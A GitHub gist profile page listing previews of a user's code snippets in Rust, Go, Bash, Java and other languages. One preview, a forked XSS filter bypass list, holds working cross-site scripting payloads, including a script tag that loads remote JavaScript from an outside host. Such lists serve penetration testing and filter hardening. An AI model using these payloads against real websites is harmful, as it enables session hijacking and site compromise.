Skip to content

Instantly share code, notes, and snippets.

View Gabirel's full-sized avatar
🐢
Do you want to be a turtle?

Gabriel Gabirel

🐢
Do you want to be a turtle?
View GitHub Profile
@Gabirel
Gabirel / merge_alternately.rs
Created June 8, 2021 02:40
Merge Strings Alternately in Rust
use itertools::Itertools;
fn main() {
assert_eq!(
"a1b2c3def",
merge_alternately_itertools("abcdef".to_string(), "123".to_string())
);
assert_eq!(
"a1b2c3456",
merge_alternately_itertools("abc".to_string(), "123456".to_string())
@Gabirel
Gabirel / measure_time.go
Created June 8, 2021 02:37
Measure execution time in Python, Golang and Rust
// Comes from: https://dev.to/rubiin/measure-function-execution-time-in-golang-177l
func measureTime(start time.Time, name string) {
elapsed := time.Since(start)
log.Printf("Time for %s: %s", name, elapsed)
}
func expensive_func() {
defer measureTime(time.Now(), "name")
// do your expensive calculation
@Gabirel
Gabirel / gfwlist.privoxy.sh
Created April 21, 2020 01:27 — forked from shellexy/gfwlist.privoxy.sh
让 privoxy 代理服务器使用 gfwlist 自动分流
#!/bin/bash -x
## 让 privoxy 代理服务器使用 gfwlist 自动分流
## 安装需要的包,gfwlist2privoxy 暂时只支持 py2.7 所以需要修改下::
# sudo apt install -y privoxy python-pip
# pip install --user gfwlist2privoxy
# sed -i 's,^#!/usr/bin/python.*,#!/usr/bin/python2.7,' ~/.local/bin/gfwlist2privoxy
## 修改 privoxy 配置,默认使用 8123 本地端口
grep -q gfwlist.action /etc/privoxy/config || echo 'actionsfile gfwlist.action' | sudo tee -a /etc/privoxy/config
@Gabirel
Gabirel / changeJDK.bash
Created March 17, 2020 04:20 — forked from trmaphi/changeJDK.bash
[Change system wide java version on Mac OS] Inspire by a stackoverflow answer https://stackoverflow.com/a/44169445/6730571 #bash #mac
#!/usr/bin/env bash
JDKS_DIR="/Library/Java/JavaVirtualMachines"
JDKS=( $(ls ${JDKS_DIR}) )
JDKS_STATES=()
# Map state of JDK
for (( i = 0; i < ${#JDKS[@]}; i++ )); do
if [[ -f "${JDKS_DIR}/${JDKS[$i]}/Contents/Info.plist" ]]; then
JDKS_STATES[${i}]=enable
@Gabirel
Gabirel / iterators.rs
Created January 8, 2020 03:23 — forked from conundrumer/iterators.rs
returning iterators in rust
#![feature(conservative_impl_trait)]
// without impl trait or box
use std::iter::{ FlatMap, Map, Enumerate, Iterator };
use std::str::Chars;
type GetIterFnType = Fn((usize, char)) -> Option<char>;
type IdentityType = Fn(Option<char>) -> Option<char>;
type GetIterType<'a> = FlatMap<Map<Enumerate<Chars<'a>>, &'static GetIterFnType>, Option<char>, &'static IdentityType>;
const GET_ITER_FN: &'static GetIterFnType = &|(i, x)| if i % 2 == 0 { Some(x) } else { None };
@Gabirel
Gabirel / xxsfilterbypass.lst
Created May 9, 2018 11:11 — forked from rvrsh3ll/xxsfilterbypass.lst
XSS Filter Bypass List
';alert(String.fromCharCode(88,83,83))//';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
'';!--"<XSS>=&{()}
0\"autofocus/onfocus=alert(1)--><video/poster/onerror=prompt(2)>"-confirm(3)-"
<script/src=data:,alert()>
<marquee/onstart=alert()>
<video/poster/onerror=alert()>
<isindex/autofocus/onfocus=alert()>
<SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT>
<IMG SRC="javascript:alert('XSS');">
<IMG SRC=javascript:alert('XSS')>
@Gabirel
Gabirel / WebCrawlerBFS.java
Created May 4, 2018 06:23 — forked from sujathakvr/WebCrawlerBFS.java
Web Crawler Breadth First Search
import java.io.BufferedReader;
import java.io.File;
import java.io.FileNotFoundException;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.InputStreamReader;
import java.io.Reader;
import java.net.HttpURLConnection;
import java.net.MalformedURLException;
import java.net.URI;
@Gabirel
Gabirel / Main.java
Created January 16, 2018 14:28 — forked from jewelsea/Main.java
Small JavaFX framework for swapping in and out child panes in a main FXML container. Code is for Java 8+.
import javafx.application.Application;
import javafx.fxml.FXMLLoader;
import javafx.scene.Scene;
import javafx.scene.layout.Pane;
import javafx.stage.Stage;
import java.io.IOException;
/**
* Main application class.
@Gabirel
Gabirel / Hack-SpaceVim-gist
Last active January 19, 2018 05:47
Hack-SpaceVim-gist
This gist is only for picture hosting. That's all.
Go to [Hack-SpaceVim](https://github.com/Gabirel/Hack-SpaceVim) to see all.
@Gabirel
Gabirel / README.md
Created March 8, 2016 13:28 — forked from agnoster/README.md
My ZSH Theme

agnoster.zsh-theme

A ZSH theme optimized for people who use:

  • Solarized
  • Git
  • Unicode-compatible fonts and terminals (I use iTerm2 + Menlo)

For Mac users, I highly recommend iTerm 2 + Solarized Dark